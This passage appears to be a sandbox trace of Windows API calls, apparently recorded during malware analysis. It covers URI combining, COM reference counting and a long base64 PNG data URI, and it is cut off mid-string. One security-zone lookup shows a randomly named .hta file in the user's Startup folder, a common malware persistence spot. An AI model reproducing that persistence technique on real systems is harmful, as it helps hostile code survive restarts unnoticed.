[0102.902] CoInternetCombineIUri (in: pBaseUri=0x47c7a4, pRelativeUri=0x47db0c, dwCombineFlags=0x6000000, ppCombinedUri=0x1cd390, dwReserved=0x0 | out: ppCombinedUri=0x1cd390*=0x47db0c) returned 0x0
[0102.902] IUnknown:Release (This=0x47c7a4) returned 0xd
[0102.902] IUnknown:Release (This=0x47c7a4) returned 0xc
[0102.902] IUnknown:QueryInterface (in: This=0x47db0c, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cd2e4 | out: ppvObject=0x1cd2e4*=0x47db0c) returned 0x0
[0102.902] IUnknown:Release (This=0x47db0c) returned 0x3
[0102.902] IUnknown:AddRef (This=0x47db0c) returned 0x4
[0102.902] IUri:GetAbsoluteUri (in: This=0x47db0c, pbstrAbsoluteUri=0x1cd2d8 | out: pbstrAbsoluteUri=0x1cd2d8*="data:image/png;base64,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") returned 0x0
[0102.903] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xf4) returned 0x48b6f0
[0102.903] IUnknown:AddRef (This=0x47db0c) returned 0x5
[0102.903] IUnknown:QueryInterface (in: This=0x47db0c, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cd2ac | out: ppvObject=0x1cd2ac*=0x47db0c) returned 0x0
[0102.903] IUnknown:Release (This=0x47db0c) returned 0x5
[0102.903] IUnknown:AddRef (This=0x47db0c) returned 0x6
[0102.903] IUri:GetScheme (in: This=0x47db0c, pdwScheme=0x1cd2f8 | out: pdwScheme=0x1cd2f8*=0x0) returned 0x0
[0102.903] IUnknown:Release (This=0x47db0c) returned 0x5
[0102.903] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x497c10
[0102.903] IInternetSecurityManager:MapUrlToZone (in: This=0x483558, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pdwZone=0x1cd2f0, dwFlags=0x0 | out: pdwZone=0x1cd2f0*=0x0) returned 0x0
[0102.903] IUnknown:QueryInterface (in: This=0x47db0c, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1ccfec | out: ppvObject=0x1ccfec*=0x47db0c) returned 0x0
[0102.903] IUnknown:Release (This=0x47db0c) returned 0x5
[0102.903] IUnknown:AddRef (This=0x47db0c) returned 0x6
[0102.903] ParseURLW (in: pcszURL="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHgAAAB4CAYAAAA5ZDbSAAAABmJLR0QA/wD/AP+gvaeTAAAAB3RJTUUH1gQdASckuERAkwAAHNZJREFUeJztnXmQHNd93z+v77l2jj0BkCAJghBo0SYJUpRKJC2Ksmm5Uo4kp2iplEAFoRy6kirFSUqp+A+XzUrKqaQc5yqVXFIYiSqKkhzK0UGTkmxLlERTRUEUBJIgQNyLvbC7c+7cM328/NHTM7PAAtxjZnYJ7beqa3r6eP26v/27X3fDNraxjW1sYxvb2AyIze5Av3Hw4MExVVVTiqIkgYTneUJRlLyiKIVGo5F96qmnFje7j/3EdUXwo48+qkaj0fcBDwN3AweAibfYbQE4Chz1PO+FarX6w2eeecbtc1cHhuuC4E9+8pPvAz4OfAQY3WBzGSHENzzP+8qTTz75ww13bpPxtiX48ccfV6ampj4kpfz3wLuvtp1lWei6jqZpaJoGgOM4OI6DbdvU6/VrHeZnQoj/snv37m88/vjjXm/PYDB4WxJ86NChh4QQnwHe2b1cCEE0GiWRSBAOhwmHwyiK0rXen5eyw5XnedRqNSqVCoVCgXK5jJTy8kO+AfyrL37xiz/o0yn1DW8rgg8ePDimadqfAwfp6rtpmoyPj5NIJNB1HV0PYZoRDCOMrofQNANFUbt2kXiei+M0aTZr2HaVRqOCbdewbZtCocDi4uJK0v1lVVU//cQTTywM5ow3jrcNwYcPH35ESvkVYDhYFgqF2LFjB8lkEk0ziURShMP+vKIILEvDNFUMQ0NRQFV9CXZdiedJmk2HRsOlXnfwPInjNKhW81SreWy7Tj6f59KlS9Rqte6u5IQQ/+wLX/jCdwZ7BdaHtwPB4vDhw38spfxTQAVQVZWdO3cyNjaGYYQZGhonFIqj6xqxmEEsZmCaGmKVZycl1Os25bJNqdTEth1qtSLF4jzNZpVMJsPMzAyu23auPSnlf7z55pv/w1a3zVua4EOHDlmKonxVSvnhYFkikWD37t2YZohk8gbC4SSWpZFKWUSjRk+OWy43yeXq1OsOtVqBfH6Ger3K1NQUhUKhvZ3ned+pVqv/5Jlnnqldo7lNxZYl+LHHHgvbtv0t4DeCZTfccANjY2PEYqPE4zsxTZ3R0RDhsN6XPlSrDplMjXq9ydLSHOVyhoWFBWZmZtrbOI7zk1gs9luf/exny33pxAahbnYHVsJjjz0Wt237O8BDAJqmsXfvXkZGRhkZuZmhoQlSKYvx8Qi6rly7sQ1A1xWGhgwURUGICLoeRtM8otEIS0tLeJ6Hoig31uv13z5w4MBfHTt27Jox12ZgyxH86KOPGpqmPQu8D3xy9+3bRyIxzOjoXiKRIXbsCBON9kdqV4JlqUQiGratYVlxpGwSi0UpFAoByTts2354eHj4y5OTk87AOrYKbDmC77vvvieEEB8BMAyDffv2EY8PMzZ2G7FYmImJUF+l9mpQVUEspuM4CoYRx3FqxGK+JLuui6qquyzLuvv48eP/F9gyjteWIvjw4cN/BHwafE95//79DA2lGB3dy9CQydiYtWrPWFEULMsiFAoRiUSIRCJEo1EikQihUKid4VIUBdd1V0puXAEhIBrVcBwwjDiuWycaDZPL5fA8D13X9+3Zsyd58uTJ7wFv3eAAsGUIbuWTvwQoQgj27t1LPD7M+PhtxGImIyPmqtqxLItYLEYsFmuTqKpqy44KhBAoioKqqui6jmmahMNhdF1HSonjvLWGDYc1XFegaUPYdpVQyCSXywFgmuZ9o6OjZ8+fP//aBi5Hz7AlCP74xz+e1DTtu0AS4Oabb2Z4eISxsX3EYhbDw28d/pim2U5Rqury0+omVnSpgG6pVVUVy7KwLAvXdd+S6FBIbZEcxXGqGIZOoVBACCEikcj7bNt+Lp1Op9dyHfqBLUHwvffe+yRwP8Dw8DC7du1idPQ2IpEwIyPXJldRFOLxOLFYrJ13FkKg6zqGYWCaJoZhtFKYnSlYpqoqQog22YqiEAqFUFWVZrN5TdVtWSrNpkDTIkhZp9FoUKvVUBQlnEwm3/nGG298C9hUz3rTCT506NDvCCH+DHwpvPXWW0kmbyAWSzI6qiOEL2krTbquk0qlMAz/JlAUBdM0MU0TVVVpNGyy2SJzc1mmptJMTaWZnc2yuFigWKxg2w66rmFZZtsee56HlBJN07Asi2azieM4Kx4fJKGQQrOpIoSKYUA+n8d1XQzDuDmVSmUuXLjwCrBp9eVNJfhTn/qUadv2N4Hhjt0dIZm8keFhHU27ukdlWRapVKqtdk3TxLIsQJBOF3jjjWkuXFhkfj5LOp0mn89QLGYplfIUi0UKhSK5XIW5uQLp9BKaJohGwxiGgRAC13URQhAKhdqlxZUgBBiGwHEsbLuGaWpkMhkAIpHIndPT08/X6/VNU9WbSvAdd9zx74DfAxgdHWV8fILR0b3EYjrh8NVDoXA4TDKZRAiBqqrtsmA+X+LVVy8wO5shl5snn59maekS1Wq+TW6lUqBWW6LRKFEup6nVCjQaTQqFJouLBSIRg0gkhGEYbe86sMtXI1lVBSBQ1SjNZgnbblKtVlFVNToyMmKdPn36J0C1D5fwLbFpBB88eHBMUZSvA4aqqm3VHI3GSSSu3q1AcsFX6aFQCNf1OHVqmrNnF8jnL5HNTlIu51hcnGd2dpbp6WkWFhbIZDJkMhkWFxdZWFigVCph2w2gSbWaw7Zd8nmXer1BKhXDNH3P3XVdLMvCtu2rkqzrgmZTIKVAVV2y2Sye5xEKhX6lXC7/MJfLXWQT4uNNI/jAgQN/LIR4GGDXrl0MD48xPHwT8biCepVeGYbByMgIQggsy8I0Ter1BseOXWBhIUMmc45SKcvs7AwXLlxgaWnpqo6SlJJms0mxWCSdTuM4Dqrq0WgUcRydfL7K8HAMyzIRQuA4DpZlUa/Xu6tKy6DrAte1aDSKSOlRLBYRQmjRaDR06tSpnwKFFXfsIzaF4EOHDiWEEE8Dlq7r7Nmzh1TqZiIRi0hkZburKAqjo6NtL1fXder1JkePnieXS5PNniebTXP27FmKxeIyUqWUjVqtNlmr1SYbjcYl13UrmqZFhBBaaz2VSoVsNoth6LhuFSk18vkmo6MxTNPPRwckVyqVFW8aRQHPE4CJEA2y2Wwg/Xvm5+e/W6lU5oGBpjK1QR6sC/8SiAOMj49jmhFCoSGiUXHVsCSZTLZjVV3XaTSa/OIX58nnF8hmLzI/P8+lS5e693fy+fzL58+f/9HJkyfP2La9TOx0XVdvv/322/bs2fNAMpm8H9Acx+HcuXNMTEzgeS6e53H0KNxzzx5M00BKSb1eJ5VKcbUQNxKBRiOGaUYZHx9nenoaRVGse++999Bzzz03CZzrzSVcHQYuwY8//ri2tLT0FSCmqip79uwhmbyRaNTCslbeJxKJEIvFMAyj7fC89tpFMplFstnJto0NUCqVjr344ot/ceTIkR8vLCykPc8rA3lgCcgBS57nlRYWFubffPPN17LZ7Mujo6NjpmnuACiXy9i2jWGAohhUKh7j4/F2tgv8gXvNZvOKvgoBvgbXkbJOJpPB8zwsy7r59OnT33QcJ8MApXjgBN96662/LaX8A4CJiQmGh8dazpVEiCtjTUVRGBkZQdM0wuEwAGfOzDI/nyGTOc/MzAyLi+2x697k5ORTzz///NPFYrGMT+Zs63ceuABMAZOt+QvAuWKxeOnEiROvJxKJZiKR+FUhhFKtVlvxrEBVI7iuZHh4CE3TcBwHXdcpl8vtuLl7UlWJ61rU60vYdpNyuYyiKKZpmtNTU1Pn8W+2gWDgBN91113/CfgVIQQ33XQTqdSNRCJhTHNl1ZxIJLAsi2g0ihCCXK7I2bPzLC6eIZ1eYHZ2NtjUOX78+P946aWXgpBkGigCi8BZIIufVXLoFAI8wMa/AU5PTk6+put6fXR09D1CCLVSqbQSIA5SRonFQoTDJpqmYds2QojLx2sBgRQLPE/gefX2DWgYRvTEiRN/D2QYkEc9UII/8YlPDCuK8nlAjUajTExMkErtJhwGRbmSYE3TGB4ebjtVjuPy6qsXyWZnKBTSnDt3LlCZ3okTJz5z5MiRo/hqeBaoAWeANKu/mIW5ubmfDg0NNVKp1EOAKJVKDA3FUBRBva6xY0eynd5UFIVKpbKiV+2nvEPUanlKpRLNZhPDMMYXFxe/WyqV8sBARoAMtLCqKMqHAANgZGSEUCiBqmqo6pVqTkpJPB5H07R2KnJuLkOlUqRcTnPx4kU8z+dtdnb2//30pz99BV8S54AK8Gbrd60o//jHP/7zTCbzv